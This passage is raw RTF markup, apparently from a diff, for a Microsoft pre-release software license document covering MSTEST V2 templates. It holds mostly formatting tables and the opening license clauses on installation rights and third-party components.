+\'02\'04.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li3597\lin3597 }{\listlevel\levelnfc2\levelnfcn2\leveljc2\leveljcn2\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698715
+\'02\'05.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \fi-180\li4317\lin4317 }{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698703
+\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li5037\lin5037 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698713
+\'02\'07.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li5757\lin5757 }{\listlevel\levelnfc2\levelnfcn2\leveljc2\leveljcn2\levelfollow0\levelstartat1\lvltentative\levelspace0\levelindent0{\leveltext\leveltemplateid67698715
+\'02\'08.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \fi-180\li6477\lin6477 }{\listname ;}\listid1870291363}{\list\listtemplateid1186249844\listhybrid{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1
+\levelspace0\levelindent0{\leveltext\leveltemplateid1637229796\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \s36\fi-357\li357\jclisttab\tx360\lin357 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0
+\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li1440\jclisttab\tx1440\lin1440 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li2160\jclisttab\tx2160\lin2160 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689
+\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li2880\jclisttab\tx2880\lin2880 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}
+\f2\fbias0\hres0\chhres0 \li3600\jclisttab\tx3600\lin3600 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}
+\f10\fbias0\hres0\chhres0 \li4320\jclisttab\tx4320\lin4320 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}
+\f3\fbias0\hres0\chhres0 \li5040\jclisttab\tx5040\lin5040 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li5760
+\jclisttab\tx5760\lin5760 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li6480
+\jclisttab\tx6480\lin6480 }{\listname ;}\listid2054619191}{\list\listtemplateid-1344757370{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 
+\ab\ai0\af44\afs20 \ltrch\fcs0 \b\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li357\jclisttab\tx360\lin357 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'01.;}{\levelnumbers\'01;}
+\rtlch\fcs1 \ab\ai0\af44\afs20 \ltrch\fcs0 \b\i0\f44\fs20\fbias0\hres0\chhres0 \fi-363\li720\jclisttab\tx720\lin720 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\'02\'02.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af0\afs20 \ltrch\fcs0 \b\i0\fs20\fbias0\hres0\chhres0 \fi-357\li1077\jclisttab\tx1440\lin1077 }{\listlevel\levelnfc3\levelnfcn3\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0
+{\leveltext\'02\'03.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-358\li1435\jclisttab\tx1437\lin1435 }{\listlevel\levelnfc1\levelnfcn1\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'04.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-357\li1792\jclisttab\tx2155\lin1792 }{\listlevel\levelnfc0\levelnfcn0
+\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'05.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2149\jclisttab\tx2152\lin2149 }{\listlevel
+\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2506\jclisttab\tx2509\lin2506 
+}{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02i.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2863
+\jclisttab\tx2866\lin2863 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02A.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 
+\fi-358\li3221\jclisttab\tx3223\lin3221 }{\listname ;}\listid2057971432}{\list\listtemplateid-569628034{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'00.;}{\levelnumbers\'01;}
+\rtlch\fcs1 \af0 \ltrch\fcs0 \b\fbias0\hres0\chhres0 \li717\lin717 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'01);}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 
+\hres0\chhres0 \li1077\lin1077 }{\listlevel\levelnfc2\levelnfcn2\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'02);}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li1437\lin1437 }{\listlevel
+\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'03(\'03);}{\levelnumbers\'02;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li1797\lin1797 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0
+\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'03(\'04);}{\levelnumbers\'02;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li2157\lin2157 }{\listlevel\levelnfc2\levelnfcn2\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0
+\levelindent0{\leveltext\'03(\'05);}{\levelnumbers\'02;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li2517\lin2517 }{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li2877\lin2877 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'07.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 
+\ltrch\fcs0 \hres0\chhres0 \li3237\lin3237 }{\listlevel\levelnfc2\levelnfcn2\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'08.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 \hres0\chhres0 \li3597\lin3597 }
+{\listname ;}\listid2106000387}}{\*\listoverridetable{\listoverride\listid752163927\listoverridecount9{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel
+\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat
+\levelstartat1}\ls1}{\listoverride\listid477573462\listoverridecount0\ls2}{\listoverride\listid1567649130\listoverridecount0\ls3}{\listoverride\listid2054619191\listoverridecount0\ls4}{\listoverride\listid1559511898\listoverridecount0\ls5}
+{\listoverride\listid1848404271\listoverridecount0\ls6}{\listoverride\listid398796681\listoverridecount0\ls7}{\listoverride\listid545946042\listoverridecount0\ls8}{\listoverride\listid752163927\listoverridecount9{\lfolevel\listoverridestartat
+\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel
+\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}\ls9}{\listoverride\listid1870291363\listoverridecount0\ls10}{\listoverride\listid152650329\listoverridecount0\ls11}
+{\listoverride\listid1589268858\listoverridecount0\ls12}{\listoverride\listid2057971432\listoverridecount0\ls13}{\listoverride\listid398096909\listoverridecount0\ls14}{\listoverride\listid752163927\listoverridecount0\ls15}{\listoverride\listid1107626792
+\listoverridecount0\ls16}{\listoverride\listid113718381\listoverridecount0\ls17}{\listoverride\listid2106000387\listoverridecount0\ls18}{\listoverride\listid398796681\listoverridecount0\ls19}{\listoverride\listid752163927\listoverridecount9{\lfolevel
+\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat
+\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}{\lfolevel\listoverridestartat\levelstartat1}\ls20}}{\*\pgptbl {\pgp\ipgp0\itap0\li0\ri0\sb0\sa0}{\pgp\ipgp0\itap0\li0\ri0\sb0\sa0}}
+{\*\rsidtbl \rsid79668\rsid150779\rsid211660\rsid263352\rsid483838\rsid489647\rsid528777\rsid554910\rsid686391\rsid792304\rsid922358\rsid1145719\rsid1335391\rsid1527700\rsid1641514\rsid1714580\rsid2040850\rsid2061565\rsid2434661\rsid2633486\rsid2635842
+\rsid2695079\rsid2902063\rsid2965976\rsid2971138\rsid3041209\rsid3285590\rsid3297313\rsid3355994\rsid3418540\rsid3634687\rsid3831999\rsid3875660\rsid3882158\rsid3882522\rsid3941498\rsid4149814\rsid4398083\rsid4537652\rsid4611858\rsid4742223\rsid4748609
+\rsid4801980\rsid4805534\rsid4805706\rsid4868258\rsid4929965\rsid4934124\rsid5113462\rsid5262441\rsid5309509\rsid5467606\rsid5471954\rsid5720387\rsid6124814\rsid6171721\rsid6292707\rsid6364904\rsid6424248\rsid6496414\rsid6561381\rsid6584761\rsid6620178
+\rsid6643866\rsid6706534\rsid6755756\rsid6828031\rsid6833860\rsid7040710\rsid7080991\rsid7091446\rsid7099326\rsid7167079\rsid7344474\rsid7420369\rsid7503579\rsid7698999\rsid7756319\rsid7879410\rsid7891370\rsid8007569\rsid8069377\rsid8205106\rsid8334492
+\rsid8406278\rsid8455816\rsid8460809\rsid8528894\rsid8586851\rsid8662808\rsid8850722\rsid8921755\rsid9004944\rsid9066668\rsid9072635\rsid9135771\rsid9176743\rsid9270181\rsid9306427\rsid9380011\rsid9399500\rsid9448986\rsid9465849\rsid9518548\rsid9577151
+\rsid9584906\rsid9708371\rsid9722926\rsid9728818\rsid9835407\rsid9860928\rsid9902756\rsid9906198\rsid9990859\rsid10428435\rsid10956334\rsid11152386\rsid11303230\rsid11303858\rsid11408012\rsid11423848\rsid11496807\rsid11677882\rsid11690930\rsid11950712
+\rsid12545879\rsid12584315\rsid12868782\rsid12868905\rsid13004280\rsid13056010\rsid13066823\rsid13378691\rsid13456345\rsid13513072\rsid13594873\rsid13776901\rsid13967657\rsid14293912\rsid14435085\rsid14500380\rsid14507627\rsid14644610\rsid14684443
+\rsid14685080\rsid14707821\rsid14712272\rsid14958727\rsid15033700\rsid15278441\rsid15287965\rsid15364209\rsid15405862\rsid15494051\rsid15539022\rsid15602361\rsid15602734\rsid15749471\rsid15804309\rsid15809401\rsid15870741\rsid15949319\rsid16065250
+\rsid16073823\rsid16084478\rsid16148105\rsid16328790\rsid16334972\rsid16388644\rsid16405449\rsid16537650\rsid16653828\rsid16715114}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0
+\mnaryLim1}{\info{\creatim\yr2018\mo5\dy10\hr15\min2}{\revtim\yr2018\mo5\dy10\hr15\min3}{\version1}{\edmins0}{\nofpages3}{\nofwords1528}{\nofchars8715}{\nofcharsws10223}{\vern57}}{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}
+\paperw12240\paperh15840\margl1440\margr1440\margt1440\margb1440\gutter0\ltrsect 
+\widowctrl\ftnbj\aenddoc\trackmoves0\trackformatting1\donotembedsysfont1\relyonvml0\donotembedlingdata0\grfdocevents0\validatexml1\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors1\noxlattoyen
+\expshrtn\noultrlspc\dntblnsbdb\nospaceforul\formshade\horzdoc\dgmargin\dghspace180\dgvspace180\dghorigin1440\dgvorigin1440\dghshow1\dgvshow1
+\jexpand\viewkind1\viewscale164\pgbrdrhead\pgbrdrfoot\splytwnine\ftnlytwnine\htmautsp\nolnhtadjtbl\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\rempersonalinfo\allowfieldendsel
+\wrppunct\asianbrkrule\rsidroot4934124\newtblstyruls\nogrowautofit\remdttm\usenormstyforlist\noindnmbrts\felnbrelev\nocxsptable\indrlsweleven\noafcnsttbl\afelev\utinl\hwelev\spltpgpar\notcvasp\notbrkcnstfrctbl\notvatxbx\krnprsnet\cachedcolbal 
+\nouicompat \fet0{\*\wgrffmtfilter 2450}\nofeaturethrottle1\ilfomacatclnup0{\*\ftnsep \ltrpar \pard\plain \ltrpar\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11152386 \rtlch\fcs1 \af43\afs19\alang1025 
+\ltrch\fcs0 \fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid8406278 \chftnsep 
+\par }}{\*\ftnsepc \ltrpar \pard\plain \ltrpar\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11152386 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid8406278 \chftnsepc 
+\par }}{\*\aftnsep \ltrpar \pard\plain \ltrpar\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11152386 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid8406278 \chftnsep 
+\par }}{\*\aftnsepc \ltrpar \pard\plain \ltrpar\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid11152386 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid8406278 \chftnsepc 
+\par }}\ltrpar \sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9860928\sftnbj {\headerl \ltrpar \pard\plain \ltrpar\s53\ql \li0\ri0\widctlpar\tqc\tx4680\tqr\tx9360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 
+\rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid11152386 
+\par }}{\headerr \ltrpar \pard\plain \ltrpar\s53\ql \li0\ri0\widctlpar\tqc\tx4680\tqr\tx9360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid11152386 
+\par }}{\footerl \ltrpar \pard\plain \ltrpar\s55\ql \li0\ri0\widctlpar\tqc\tx4680\tqr\tx9360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid11152386 
+\par }}{\footerr \ltrpar \pard\plain \ltrpar\s55\ql \li0\ri0\widctlpar\tqc\tx4680\tqr\tx9360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid11152386 
+\par }}{\headerf \ltrpar \pard\plain \ltrpar\s53\ql \li0\ri0\widctlpar\tqc\tx4680\tqr\tx9360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid11152386 
+\par }}{\footerf \ltrpar \pard\plain \ltrpar\s55\ql \li0\ri0\widctlpar\tqc\tx4680\tqr\tx9360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid11152386 
+\par }}{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}
+{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8
+\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\pard\plain \ltrpar
+\s28\ql \li0\ri0\sb120\sa120\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid4934124 \rtlch\fcs1 \ab\af43\afs28\alang1025 \ltrch\fcs0 
+\b\fs28\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 MICROSOFT PRE-RELEASE SOFTWARE LICENSE TERMS
+\par }\pard\plain \ltrpar\s29\ql \li0\ri0\sb120\sa120\nowidctlpar\brdrb\brdrs\brdrw10\brsp20 \wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid4934124 \rtlch\fcs1 \ab\af43\afs28\alang1025 \ltrch\fcs0 
+\b\fs28\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid8069377 \hich\af43\dbch\af13\loch\f43 MSTEST V2 }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\dbch\af13\insrsid16148105 \hich\af43\dbch\af13\loch\f43 TEMPLATES}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 
+\par }\pard\plain \ltrpar\s30\ql \li0\ri0\sb120\sa120\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid4934124 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 
+\b\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates) and you. They apply to the }{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid554910 \hich\af43\dbch\af13\loch\f43 
+pre-release }{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 software named above. The terms also apply to any Microsoft}{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 
+\b0\fs20\dbch\af13\insrsid2434661\charrsid15278441 \hich\af43\dbch\af13\loch\f43  services or updates for the software, \hich\af43\dbch\af13\loch\f43 except to the extent those have }{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 
+\b0\fs20\dbch\af13\insrsid554910 \hich\af43\dbch\af13\loch\f43 additional}{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid2434661\charrsid15278441 \hich\af43\dbch\af13\loch\f43  terms.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\dbch\af13\insrsid4934124\charrsid15278441 
+\par }\pard\plain \ltrpar\s31\ql \li0\ri0\sb120\sa120\nowidctlpar\brdrt\brdrs\brdrw10\brsp20 \wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid4934124 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 
+\b\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \caps\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+If you comply with these license terms, you have the rights below.
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\fs20\loch\af43\hich\af43\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 1.\tab}}\pard\plain \ltrpar\s1\ql \fi-360\li360\ri0\sb120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin360\itap0\pararsid15287965 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 
+\ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 INSTALLATION AND USE RIGHTS. 
+\par }\pard\plain \ltrpar\s27\ql \fi-360\li720\ri0\sa120\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin720\itap0\pararsid15287965 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+You may install and use any number of copies of the software to develop and test your }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid6292707\charrsid15278441 \hich\af43\dbch\af13\loch\f43 applications}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 . }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid2434661\charrsid15278441 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\f43\fs20\insrsid15405862\charrsid9066668 \hich\af43\dbch\af0\loch\f43 2.\tab}}\pard\plain \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\widctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid8528894 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 
+\ltrch\fcs0 \fs20\insrsid15405862\charrsid9066668 TERMS FOR SPECIFIC COMPONENTS. 
+\par {\listtext\pard\plain\ltrpar \s39 \rtlch\fcs1 \ab\af44\afs20 \ltrch\fcs0 \b\fs20\loch\af44\hich\af44\dbch\af13\insrsid15405862\charrsid9066668 \hich\af44\dbch\af13\loch\f44 a.\tab}}\pard\plain \ltrpar\s39\ql \fi-363\li720\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx720\jclisttab\tx2610\wrapdefault\aspalpha\aspnum\faauto\ls13\ilvl1\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid15405862 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 
+\b\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid15405862\charrsid9066668 \hich\af43\dbch\af13\loch\f43 Third Party components. }{\rtlch\fcs1 \af43\afs20 
+\ltrch\fcs0 \b0\fs20\dbch\af13\insrsid15405862\charrsid9066668 \hich\af43\dbch\af13\loch\f43 The software may include third party components with separate legal notices or governed by other agreements, as}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
